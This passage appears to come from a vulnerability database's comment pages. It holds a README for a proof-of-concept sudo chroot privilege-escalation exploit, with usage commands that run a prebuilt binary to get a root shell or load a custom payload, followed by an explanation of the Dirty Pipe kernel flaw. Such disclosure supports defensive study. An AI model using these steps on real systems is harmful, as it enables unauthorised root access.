library due to a bug in how sudo handles chroot. When passing the chroot option to sudo, you can provide a malicious `/etc/nsswitch.conf` file within the chroot directory that tells sudo to load an arbitrary shared object. This PoC abuses this in order to grant root access to an unprivileged user. ## Usage ### Default PrivEsc Payload Using the provided binaries under `Releases`, simply run the following to gain `root`: ```bash ./sudo_chroot_exploit ``` This uses a shared library payload which simply spawns a root shell. ### Custom payloads The payload code (C) is provided under `/payload`. There is also a `Makefile` provided for building the code. You can modify or replace the payload as you see fit. To specify a different payload than the default, you can run the following command: ```bash /sudo_chroot_exploit -i custom_payload.so ``` 2025-07-11T20:44:35.027852+00:00 https://vulnerability.circl.lu/comment/b84ba3bb-d5e2-4d78-88a6-0c4cbcbe9dbb Dirty Pipe (CVE-2022-0847) 2025-07-16T01:44:47.696512+00:00 Cédric Bonhomme http://vulnerability.circl.lu/user/cedric Dirty Pipe (CVE-2022-0847) is a vulnerability in the Linux kernel which allows an attacker to overwrite files that they have read-only access to. At the time of writing, this vulnerability is 3 years old, but overwriting nearly any file without appropriate permissions using only a few system calls stood out to me. Additionally, since the exploit abuses normal kernel behavior, detecting the exploit is not an easy task. CVE-2022-0847 affects the following Linux kernel versions, according to NIST’s NVD: * From 5.8 up to (but not including) 5.10.102 * From 5.15 up to (but not including) 5.15.25 * From 5.16 up to (but not including) 5.16.11 The vulnerability can be weaponized to escalate privileges on older Linux systems due to the arbitrary file overwrite. It abuses a flaw in functions in the Linux kernel that allowed pipes to contain stale flag values. Because of this, a pipe could be used to write to pages in the kernel page cache, which in turn could write arbitrarily to files the user does not have write permission for. 2025-07-11T20:52:01.806482+00:00